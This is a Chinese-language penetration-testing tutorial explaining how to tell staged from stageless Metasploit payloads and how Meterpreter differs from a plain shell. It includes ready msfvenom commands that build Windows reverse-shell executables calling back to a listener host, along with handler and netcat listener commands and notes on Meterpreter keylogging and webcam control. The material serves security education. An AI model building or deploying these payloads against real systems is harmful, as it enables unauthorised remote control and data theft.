如何判断 MSF 的 Payload 是 Staged 还是 Stageless(含 Meterpreter 与普通 Shell 对比)
在渗透测试领域,Metasploit Framework(MSF)的 msfvenom
工具是生成 Payload(载荷)的核心利器。然而,当我们选择 Payload 时,经常会遇到一个问题:这个 Payload 是 Staged(分阶段) 还是 Stageless(无阶段)?更进一步,即使我们明白了这两者的区别,它们是否都代表 Meterpreter?Meterpreter 又与普通的 Shell 有何不同?本文将从基础概念入手,详细解析 Staged 和 Stageless 的判断方法,并补充 Meterpreter 与普通 Shell 的对比,帮助你全面掌握这些关键知识点。
一、Staged 与 Stageless Payload 的基本概念
在深入判断方法之前,我们先明确 Staged 和 Stageless Payload 的定义,这将为后续分析打下基础。
1. Staged Payload(分阶段载荷):小巧但依赖后续加载
Staged Payload 是一种分阶段执行的载荷,通常由两部分组成:
- Stager(引导阶段,Stage0):一个体积很小的初始代码,负责建立与攻击者主机的连接。
- Stage(功能阶段,Stage1):包含完整功能的后续代码,由 Stager 从攻击者主机下载并加载到目标内存中。
特点:
- 文件大小极小(通常几 KB),便于传递。
- 需要稳定的网络连接,因为 Stager 必须从攻击者那里获取 Stage。
- 通常依赖于攻击者运行的监听器(如 Metasploit 的
multi/handler
)提供后续代码。
优点:
- 初始代码小巧,易于绕过文件大小限制或简单检测。
- 分阶段加载设计灵活,可动态调整功能。
缺点:
- 网络中断或监听器配置错误会导致 Stage 无法加载,攻击失败。
形象比喻:Staged Payload 像一个“快递员”,先送来一张“取货单”(Stager),然后你得去“仓库”(攻击者主机)取包裹(Stage)。
2. Stageless Payload(无阶段载荷):完整但体积更大
Stageless Payload 是完整的、独立的代码,包含所有功能,不需要额外的阶段加载。
特点:
- 文件体积较大(几十 KB 或更多),包含所有代码。
- 不需要额外的网络请求,执行后直接运行完整功能。
- 不依赖后续阶段,可独立完成任务。
优点:
- 执行更稳定,不受网络状况影响。
- 可搭配简单工具(如 Netcat)监听,减少依赖。
缺点:
- 文件较大,可能更容易被防病毒软件或入侵检测系统(IDS)识别。
- 在受限环境中(如小缓冲区),可能因体积过大无法注入。
形象比喻:Stageless Payload 像一个“全包快递”,一次性把所有东西送到,不需再跑第二趟。
二、通过 Payload 名称快速判断
Metasploit 的 Payload 名称直接反映了它是 Staged 还是 Stageless。
命名规则如下:
类型 | 命名格式 | 示例 |
---|---|---|
Staged Payload | 平台/功能/连接方式 | windows/meterpreter/reverse_tcp |
Stageless Payload | 平台/功能_连接方式 | windows/meterpreter_reverse_tcp |
- Staged Payload:名称中有两个斜杠(如
windows/meterpreter/reverse_tcp
),表示分阶段加载,需要 Stager 和 Stage。 - Stageless Payload:名称中只有一个斜杠,功能和连接方式用下划线连接(如
windows/meterpreter_reverse_tcp
),表示完整代码。
例如,windows/shell/reverse_tcp
是 Staged 的普通 Shell,而 windows/shell_reverse_tcp
是 Stageless 的普通 Shell。
同样,windows/meterpreter/reverse_tcp
是 Staged 的 Meterpreter,windows/meterpreter_reverse_tcp
是 Stageless 的 Meterpreter。
三、Staged 和 Stageless 是否都代表 Meterpreter?
一个常见的误解是认为 Staged 和 Stageless 都专指 Meterpreter。其实不然。Metasploit 的 Payload 类型非常丰富,既包括 Meterpreter,也包括普通 Shell(如 cmd.exe
或 /bin/sh
)。以下是澄清:
- Staged Payload:
- 可以是 Meterpreter(如
windows/meterpreter/reverse_tcp
)。 - 也可以是普通 Shell(如
windows/shell/reverse_tcp
)。
- 可以是 Meterpreter(如
- Stageless Payload:
- 可以是 Meterpreter(如
windows/meterpreter_reverse_tcp
)。 - 也可以是普通 Shell(如
windows/shell_reverse_tcp
)。
- 可以是 Meterpreter(如
结论:Staged 和 Stageless 只是 Payload 的加载方式,与具体功能(如 Meterpreter 或 Shell)无关。名称中的 meterpreter
或 shell
决定了它是哪种类型,而不是 Staged/Stageless 的属性。
四、Meterpreter 与普通 Shell 的区别
既然提到了 Meterpreter 和普通 Shell,我们有必要深入对比这两者,帮助你理解它们的特性和适用场景。
1. Meterpreter:隐秘而强大的多功能工具
Meterpreter 是 Metasploit 开发的一种高级 Payload,使用内存中的 DLL 注入技术(Reflective DLL Injection),以隐秘的方式在目标系统上建立通信通道。
特点:
- 内存驻留:运行时不写入磁盘,直接在目标进程的内存中加载,避免留下文件痕迹。
- 功能丰富:
- 上传和下载文件。
- 执行系统命令。
- 运行键盘记录器(Keylogger)。
- 创建、启动或停止服务。
- 管理进程(查看、杀死、注入)。
- 获取系统信息、截屏、甚至控制摄像头/麦克风。
- 跨平台支持:适用于 Windows、Linux 等系统。
- 通信加密:默认使用加密通道(如 TLS),难以被网络监控捕获。
优点:
- 隐蔽性强,适合需要长时间驻留的渗透测试。
- 功能强大,几乎能完成所有后渗透任务。
- 可扩展性高,支持加载额外的脚本和模块。
缺点:
- 依赖 Metasploit 框架(尤其是 Staged 版本)。
- 对目标系统要求较高(如需要注入进程权限)。
形象比喻:Meterpreter 像一个“全能特工”,潜入目标系统后能执行各种复杂任务,还能随时呼叫“总部”支援。
2. 普通 Shell:简单直接的基础工具
普通 Shell(如 Windows 的 cmd.exe
或 Linux 的 /bin/sh
)是一个基本的命令行接口,直接调用目标系统的终端程序。
特点:
- 直接执行:运行目标系统的原生 Shell,通常会留下进程记录。
- 功能有限:
- 执行基本命令(如
dir
、whoami
、net user
)。 - 无内置的文件传输或高级功能。
- 执行基本命令(如
- 无加密:通信通常是明文,易被监控。
优点:
- 简单轻量,对系统要求低。
- 不依赖复杂框架,可用 Netcat 等简单工具监听。
- 兼容性强,几乎所有系统都有 Shell。
缺点:
- 功能单一,无法直接完成复杂任务(如权限提升需要额外工具)。
- 隐蔽性差,容易被安全软件或管理员发现。
形象比喻:普通 Shell 像一个“普通士兵”,能执行基本命令,但缺乏特工的多才多艺。
3. Meterpreter vs Shell:选择哪一个?
- Meterpreter:适合需要隐蔽性、持久性和多功能的场景,比如深入渗透或长期控制目标。
- 普通 Shell:适合快速验证漏洞或网络受限的场景,比如只需要跑几个命令确认权限。
举一个简单的例子,帮助你理解二者在功能上的区别:
- 如果用
windows/meterpreter/reverse_tcp
,你可以直接运行upload
上传文件,或keyscan_start
记录键盘。 - 如果用
windows/shell/reverse_tcp
,你只能输入dir
查看目录,上传文件还得靠其他工具(如 FTP)。
对比表格
特性 | Meterpreter | 普通 Shell |
---|---|---|
运行方式 | 内存 DLL 注入,隐秘 | 直接调用系统 Shell,易检测 |
功能 | 上传/下载文件、键盘记录、进程管理等 | 基本命令执行(如 dir 、whoami ) |
通信安全性 | 默认加密(如 TLS) | 通常明文,易被监控 |
适用场景 | 深入渗透、长期控制 | 快速验证漏洞、简单操作 |
接收方式 | 必须使用 Metasploit 的 multi/handler 模块 | 可使用 Netcat、Socat 等工具 |
生成工具 | msfvenom 生成 Meterpreter Payload | msfvenom 或其他工具生成 Shellcode |
交互性 | 提供丰富的交互命令,支持多种扩展模块 | 交互性较弱,仅支持基本命令 |
目标系统兼容性 | 需要目标系统支持 Meterpreter 的 DLL | 对目标系统要求较低,只要有 Shell 环境即可 |
特别说明
- Staged Shell Payload(如
windows/shell/reverse_tcp
):- 特殊性:虽然它不是 Meterpreter,但它仍然是一个分阶段的 Payload。它的工作原理是先发送一个小型的 Stager 到目标系统,然后由 Stager 从攻击者的服务器下载完整的 Shell。
- 接收方式:与 Meterpreter 类似,这种 Payload 不能直接用 Netcat 等工具接收,必须通过 Metasploit 的
multi/handler
模块来监听和接收。
- 普通 Shell:
- 接收方式:如果是 Stageless 的普通 Shell(如
windows/shell_reverse_tcp
),可以直接通过 Netcat 等工具接收。 - 交互性:虽然普通 Shell 的交互性较弱,但现代的
msfvenom
生成的普通 Shell 在交互性和稳定性方面已经得到了显著提升。
- 接收方式:如果是 Stageless 的普通 Shell(如
五、使用 msfvenom
工具验证 Staged 与 Stageless
如果你对 Payload 类型仍存疑,可以通过 msfvenom
进行验证。以下是三种实用方法:
1. 列出所有 Payload 并观察命名
运行命令查看所有可用 Payload:
msfvenom -l payloads
- 输出示例:
windows/meterpreter/reverse_tcp
(Staged Meterpreter)。windows/shell/reverse_tcp
(Staged Shell)。windows/meterpreter_reverse_tcp
(Stageless Meterpreter)。windows/shell_reverse_tcp
(Stageless Shell)。
还可以i用 grep
筛选:
msfvenom -l payloads | grep meterpreter
2. 查看 Payload 详细信息
使用 --payload-info
获取详情:
msfvenom --payload-info windows/meterpreter/reverse_tcp
- 输出提及 “Stager” 或 “staged” 的是 Staged Payload。
对照 Stageless:
msfvenom --payload-info windows/meterpreter_reverse_tcp
- 无 “Stager” 字样,表示完整功能。
3. 生成 Payload 并比较大小
生成后检查文件大小:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o staged.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o stageless.exe
staged.exe
:约 3-5 KB。stageless.exe
:约 30-50 KB。
六、实战案例对比
案例 1:Staged Meterpreter
- 命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
- 结果:小巧,需加载 Stage,提供 Meterpreter 完整功能。
- 监听方式:
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; run"
案例 2:Stageless Shell
- 命令:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
- 结果:完整但简单,仅提供
cmd.exe
的反弹 shell。 - 监听方式:
nc -lvp 4444
相关文章:
如何判断 MSF 的 Payload 是 Staged 还是 Stageless(含 Meterpreter 与普通 Shell 对比)
在渗透测试领域,Metasploit Framework(MSF)的 msfvenom 工具是生成 Payload(载荷)的核心利器。然而,当我们选择 Payload 时,经常会遇到一个问题:这个 Payload 是 Staged(…...
HTML5与CSS3新特性详解
一、HTML5新特性 1.概述 HTML5 的新增特性主要是针对于以前的不足,增加了一些新的标签、新的表单和新的表单属性等。 这些新特性都有兼容性问题,基本是 IE9 以上版本的浏览器才支持,如果不考虑兼容性问题,可以大量使用这些新特…...
Redis常用进阶 存储原理和主从思路
Redis常用进阶 存储原理和主从思路 简介 此篇用于需要时随时查阅的知识. 由于不断的学习总是会忘记一些 所以用于记录 笔记对应视频为黑马redis https://www.bilibili.com/video/BV1Pu411Y7bq 单点redis的问题 : 数据丢失问题 持久化并发能力弱 主从集群存储能力问题 ES故…...
本地部署DeepSeek-R1(Dify升级最新版本、新增插件功能、过滤推理思考过程)
下载最新版本Dify Dify1.0版本之前不支持插件功能,先升级DIfy 下载最新版本,目前1.0.1 Git地址:https://github.com/langgenius/dify/releases/tag/1.0.1 我这里下载到老版本同一个目录并解压 拷贝老数据 需先停用老版本Dify PS D:\D…...
分治-快速排序系列一>快速排序
目录 题目方法:优化方法:代码: 题目方法: 忘记快速排序看这里:链接: link 优化方法: 代码: public int[] sortArray(int[] nums) {qsort(nums,0,nums.length-1);return nums;}private void qso…...
【spring对bean Singleton和Prototype的管理流程】
在 Spring 框架中,Bean 的作用域决定了 Bean 的生命周期和创建方式。Spring 支持多种作用域,其中最常用的是 单例(Singleton) 和 原型(Prototype)。以下是 Spring 对单例和原型 Bean 的管理流程详解&#x…...
【Java】grpc-java在IDEA中build不成功的相关问题,Android,codegen C++语言排除
一、解决Android依赖问题 在当前grpc-java项目根目录下创建gradle.properties文件,输入以下内容: skipAndroid=true或者 android.useAndroidX=true二、com.google.cloud.tools.appengine插件找不到的问题 Plugin [id: ‘com.google.cloud.tools.appengine’, version: ‘…...
十七、实战开发 uni-app x 项目(仿京东)- 后端指南
前面我们已经用uniappx进行了前端实战学习 一、实战 开发uni-app x项目(仿京东)-规划-CSDN博客 二、实战 开发uni-app x项目(仿京东)-项目搭建-CSDN博客 三、实战开发 uni-app x 项目(仿京东)- 技术选型-CSDN博客 四、实战开发 uni-app x 项目(仿京东)- 页面设计-C…...
SpringSecurity——基于角色权限控制和资源权限控制
目录 基于角色权限控制 1.1 自定义 UserDetailsService 1.2 加载用户角色 1.3. 给角色配置能访问的资源(使用切面拦截,使用注解) 总结 资源权限控制 2.2. 需要有一个用户;(从数据库查询用户) 2.2 基…...
经历过的IDEA+Maven+JDK一些困惑
注意事项:由于使用过程中是IDEA绑定好另外2个工具,所以报错统一都显示在控制台,但要思考和分辨到底是IDEA本身问题导致的报错,还是maven导致的 标准配置 maven Java Compiler Structure 编辑期 定义:指的是从open pr…...
基于Arduino控制的温室蔬菜园环境监控系统(论文+源码)
2.1系统总体方案设计 本课题为基于Arduino控制的温室蔬菜园环境监控系统,在硬件上结合Arduino 控制器,土壤湿度传感器,ESP8266模块,环境温湿度传感器,光敏电阻,液晶等来构成整个系统,其可以实现…...
关于HAL库的知识1----MSP函数
在 HAL 库中,大部分外设在初始化时都会调用一个对应的 MSP 初始化函数,这个函数的主要作用就是配置与外设相关的底层硬件资源,比如时钟、GPIO、中断、DMA 等。常见的外设及其对应的 MSP 函数包括: UART/USART:对应 HA…...
QT 磁盘文件 教程04-创建目录、删除目录、遍历目录
【1】新建目录 bool CreateDir(QString name){QString fileName name ;QDir dir(fileName);if (dir.isEmpty()) {dir.mkdir(fileName);return true;}else{qDebug()<<"文件夹已存在";return false;} } 【2】删除目录 bool DeleteDir(QString fileName){if (…...
高级java每日一道面试题-2025年3月06日-微服务篇[Eureka篇]-Eureka Server和Eureka Client关系?
如果有遗漏,评论区告诉我进行补充 面试官: Eureka Server和Eureka Client关系? 我回答: 在微服务架构中,Eureka作为Netflix开源的服务发现组件,由Eureka Server(服务端)和Eureka Client(客户端)两大部分…...
MAC-在使用@Async注解的方法时,分布式锁管理和释放
在使用 @Async 注解的异步方法中管理分布式锁时,需要特别注意 锁的获取、释放与异步执行的生命周期匹配。以下是结合 Spring Boot 和 Redis 分布式锁的实践方案: 1. 为什么需要分布式锁? 异步方法可能被多个线程/服务实例并发执行,若访问共享资源(如数据库、缓存),需…...
Kafka 八股文
一、基础概念 1. Kafka 是什么?它的核心组件有哪些? Kafka 的定义 Kafka 是一个 分布式流处理平台,最初由 LinkedIn 开发,后成为 Apache 顶级项目。它主要用于 高吞吐量的实时数据流处理,支持发布-订阅模式的消息传递…...
现代前端开发框架对比:React、Vue 和 Svelte 的选择指南
引言 在当今快速发展的 Web 开发领域,前端框架的选择往往直接影响项目的开发效率、维护成本和用户体验。React、Vue 和 Svelte 作为当前最受关注的三大框架,各自拥有独特的设计哲学与技术实现。本文将通过 5000 字的深度解析,从架构设计、开…...
ffmpeg(库编译) 01 搭建环境和安装依赖
创建目录在home目录下创建 ffmpeg_sources:用于下载源文件 ffmpeg_build: 存储编译后的库文件 bin:存储二进制文件(ffmpeg,ffplay,ffprobe,X264,X265等) mkdir ffmpeg_sources ffmpeg_build bin安装依赖 先执行sudo apt-get update进行更新,再往下走sudo apt-get -…...
Java后端开发技术详解
Java作为一门成熟的编程语言,已广泛应用于后端开发领域。其强大的生态系统和广泛的支持库使得Java成为许多企业和开发者的首选后端开发语言。随着云计算、微服务架构和大数据技术的兴起,Java后端开发的技术栈也不断演进。本文将详细介绍Java后端开发的核…...
Python高级:GIL、C扩展与分布式系统深度解析
文章目录 📌 **前言**🔧 **第一章:Python语言的本质与生态**1.1 **Python的实现与版本演进**1.2 **开发环境与工具链** 🔧 **第二章:元编程与动态特性**2.1 **描述符协议(Descriptor Protocol)*…...
数学之握手问题
问题描述 小蓝组织了一场算法交流会议,总共有 50人参加了本次会议。在会议上,大家进行了握手交流。按照惯例他们每个人都要与除自己以外的其他所有人进行一次握手 (且仅有一次)。但有 7 个人,这 7 人彼此之间没有进行握手 (但这 7 人与除这 …...
【Nodejs】2024 汇总现状
之前已经调研了容器、nexus-public,实现了本地构建应用镜像和基础设施的镜像。为实现分布式一体化协作开发的目标,还需要配套的线上协作开发环境。故而重回前端调研现状,比较 5 年前的 nodejs 快好的啊。 以下是针对 Node.js 工具链的深度解析…...
人工智能之数学基础:矩阵的降维
本文重点 在现实世界中,我们经常会遇到高维数据。例如,图像数据通常具有很高的维度,每个像素点都可以看作是一个维度。高维数据不仅会带来计算和存储上的困难,还可能会导致 “维数灾难”,即随着维度的增加,数据的稀疏性和噪声也会增加,从而影响数据分析的效果。因此,我…...
数仓开发那些事(10)
某神州优秀员工:(没错,这个diao毛被评为了优秀员工)一闪,听说你跑路了,不做零售行业了 一闪:没错,老东家的新it总监上任后大家都开始躺平,失去了当年的动力,所…...
【手工】早教游戏:下楼的猴子
一、效果 二、准备材料 吸管: 10.4 c m 10.4cm 10.4cm;棉签: 6 6 6 根双头棉签;硬币:1角;纸皮人: 2.0 c m 4.0 c m 2.0cm4.0cm 2.0cm4.0cm;纸板: 12.0 c m 30.0 c m 12.0cm30.0cm 12.0cm30…...
力扣刷题46. 全排列
46. 全排列 - 力扣(LeetCode) 使用dfs搜索,查找所有的情况,首先定义所有的链表集合list,在定义每一种情况的链表res,在主函数中遍历所有的初始元素,首先初始化res,并且添加到res中&…...
【工作记录】pytest使用总结
1、 fixture夹具 可参考: python3.x中 pytest之fixture - 漂泊的小虎 - 博客园 fixture是指夹具(把用例夹在中间),它包括前置工作和后置工作,前置是用例代码的准备阶段,后置是用例执行之后的清理阶段,用…...
linux 命令 mkdir
以下是 Linux mkdir 命令的简明总结,适合快速查阅和实际场景应用: 基础语法 mkdir [选项] 目录名... 常用选项速查 选项作用-p自动创建父目录(解决多级目录问题) mkdir -p a/b/c-m直接设置权限(替代chmod࿰…...
浏览器对一个资源设置了缓存,如何清除缓存,且后续请求不命中缓存
方式1、浏览器端强制刷新 方式2、修改资源url eg:如下图,添加了查询参数 <link rel"stylesheet" href"style.css?v1.2.1"> <script src"app.js?t20231010"></script> 原理:1、在资源的…...
k8s的存储
一 configmap 1.1 configmap的功能 configMap用于保存配置数据,以键值对形式存储。 configMap 资源提供了向 Pod 注入配置数据的方法。 镜像和配置文件解耦,以便实现镜像的可移植性和可复用性。 etcd限制了文件大小不能超过1M 1.2 configmap的使用…...
[JavaScript]如何利用作用域块避免闭包内存泄漏?
出自《你不知道的JavaScript》上卷 以下是本书给出的反例: function process (data) {...} var bigdata{...} process(bigdata); var btn document.getElementById(x); btn.addEventListener(click, function click{...});click会被回调在其他位置, 在addEventListener函数内…...
Pytorch使用手册—扩展 TorchScript 使用自定义 C++ 操作符(专题五十三)
提示 本教程自 PyTorch 2.4 起已弃用。有关 PyTorch 自定义操作符的最新指南,请参阅 PyTorch 自定义操作符。 PyTorch 1.0 版本引入了一种名为 TorchScript 的新编程模型。TorchScript 是 Python 编程语言的一个子集,可以被 TorchScript 编译器解析、编译和优化。此外,编译后…...
CellOracle|基因扰动研究基因功能|基因调控网络+虚拟干预
在gzh“生信小鹏”同步文章 论文来源: 发表期刊:Nature发表时间:2023年2月23日论文题目:Dissecting cell identity via network inference and in silico gene perturbation研究团队:Kenji Kamimoto 等,华盛顿大学医学院1. 研究背景与问题提出 细胞身份(Cell Identit…...
深入探索JVM字节码增强技术与调优实践
引言 Java虚拟机(JVM)是Java程序运行的基石,而字节码增强技术则是JVM生态中一项强大的工具。通过字节码增强,开发者可以在不修改源代码的情况下,动态地修改或增强类的行为。本文将深入探讨字节码增强技术的原理、常用工具,并结合JVM调优和排错实践,帮助开发者更好地理解…...
vue 中常用操作数组的方法
操作数组方法 记录一下自己常用到的操作数组的方法 1.forEach() 遍历数组 在回调函数中对原数组的每个成员进行修改(不用 return) 方法接收一个回调函数 回调函数接收两个参数 第一个是遍历的当前元素 第二个是元素的索引 const arr [{name: 张三},…...
envoy 源码分析
整体架构 Envoy 的架构如图所示: Envoy 中也可能有多个 Listener,每个 Listener 中可能会有多个 filter 组成了 chain。 Envoy 接收到请求后,会先走 FilterChain,通过各种 L3/L4/L7 Filter 对请求进行微处理,然后再路由到指定的集…...
c++基础知识--返回值优化
在 C 中,Named Return Value Optimization(NRVO,具名返回值优化) 是一种编译器优化技术,用于消除函数返回一个局部对象时的拷贝或移动操作。它是 返回值优化(RVO) 的一种更复杂的变体࿰…...
【第14节】windows sdk编程:进程与线程介绍
目录 一、进程与线程概述 1.1 进程查看 1.2 何为进程 1.3 进程的创建 1.4 进程创建实例 1.5 线程查看 1.6 何为线程 1.7 线程的创建 1.8 线程函数 1.9 线程实例 二、内核对象 2.1 何为内核对象 2.2 内核对象的公共特点 2.3 内核对象句柄 2.4 内核对象的跨进程访…...
实测 Gemini 2.0 Flash 图像生成:多模态 AI 的创作力边界
近日,Google 发布了 Gemini 2.0 Flash 的实验性图像生成功能(Gemini 2.0 Flash (Image Generation) Experimental)。我也第一时间体验了这一功能,再次感受到 AI 技术对传统图像处理工具的颠覆性冲击。 引言 Gemini 2.0 Flash 的…...
每日一题——买卖股票的最佳时机
买卖股票的最佳时机 问题描述示例示例 1示例 2 提示 问题分析难点分析 算法设计思路 代码实现复杂度分析测试用例测试用例 1测试用例 2测试用例 3 总结 问题描述 给定一个数组 prices,其中第 i 个元素 prices[i] 表示一支给定股票在第 i 天的价格。你可以选择某一天…...
以太坊节点间通信机制 DEVp2p 协议
文章目录 概要1. 协议概述2. 协议栈与关键技术3. RLPx 协议核心机制3.1 数据包结构3.2 加密握手流程 4. 核心子协议与消息类型4.1 基础控制消息4.2 以太坊子协议示例4.3 网络 ID 列表 5. 安全与防攻击机制6. 节点标识与声誉管理7. 对比其他区块链通信协议8. 总结 概要 1. 协议…...
YOLO+OpenCV强强联手:高精度跌倒检测技术实战解析
目录 关于摔倒检测 摔倒检测核心逻辑 摔倒检测:联合多种逻辑判断 原理详细解释 1. 导入必要的库 2. 定义函数和关键点连接关系 3. 筛选有效关键点并计算边界框 4. 计算人体上下半身中心点和角度 5. 绘制关键点和连接线 6. 绘制角度标注和检测跌倒 7. 返回处理后的图…...
HyperAD:学习弱监督音视频暴力检测在双曲空间中的方法
文章目录 速览摘要1. 引言2. 相关工作弱监督暴力检测双曲空间中的神经网络 3. 预备知识双曲几何切空间(Tangent Space)指数映射与对数映射(Exponential and Logarithmic Maps)3.1 双曲图卷积网络(Hyperbolic Graph Con…...
网络协议抓取与分析(SSL Pinning突破)
1. 网络协议逆向基础 1.1 网络协议分析流程 graph TD A[抓包环境配置] --> B[流量捕获] B --> C{协议类型} C -->|HTTP| D[明文解析] C -->|HTTPS| E[SSL Pinning突破] D --> F[参数逆向] E --> F F --> G[协议重放与模拟] 1.1.1 关键分析目标…...
基于C#的以太网通讯实现:TcpClient异步通讯详解
基于C#的以太网通讯实现:TcpClient异步通讯详解 在现代工业控制和物联网应用中,以太网通讯是一种常见的数据传输方式。本文将介绍如何使用C#实现基于TCP协议的以太网通讯,并通过异步编程提高通讯效率。我们将使用TcpClient类来实现客户端与服…...
通过C#脚本更改材质球的参数
// 设置贴图Texture mTexture Resources.Load("myTexture", typeof(Texture )) as Texture;material.SetTexture("_MainTex", mTexture );// 设置整数material.SetInt("_Int", 1);// 设置浮点material.SetFloat("_Float", 0.1f);// 设…...
SpringBoot常用注解
SpringBoot常用注解 SpringBoot框架提供了丰富的注解,极大地简化了应用开发。本文将SpringBoot常用注解按功能分组,并提供详细说明和使用示例。 一、核心注解 1. SpringBootApplication 这是SpringBoot应用的核心注解,标记在主类上&#…...
Vim 编辑器复制文件所有内容
Vim 编辑器复制文件所有内容 在 Vim 的可视化模式下复制所有内容,可以通过以下步骤完成: 方法 1:可视化模式全选复制 进入可视化模式 按下 V(大写 V)进入 行可视化模式。 全选内容 依次按下 gg(跳转到文件…...
MySQL 安全传输
Doris 开启 SSL 功能需要配置 CA 密钥证书和 Server 端密钥证书,如需开启双向认证,还需生成 Client 端密钥证书: 默认的 CA 密钥证书文件位于Doris/fe/mysql_ssl_default_certificate/ca_certificate.p12,默认密码为doris…...
【速览】数据库
一、课程性质和特点 数据库系统原理是高等教育自学考试计算机信息管理专业(独立本科段)、计算机网络专业(独立本科段)、计算机及应用专业(独立本科段)、计算机通信工程专业(独立本科段)考试计划的一门专业基础课。本课程的设置目的是为了使应考者掌握数据库系统的基本原理、方法…...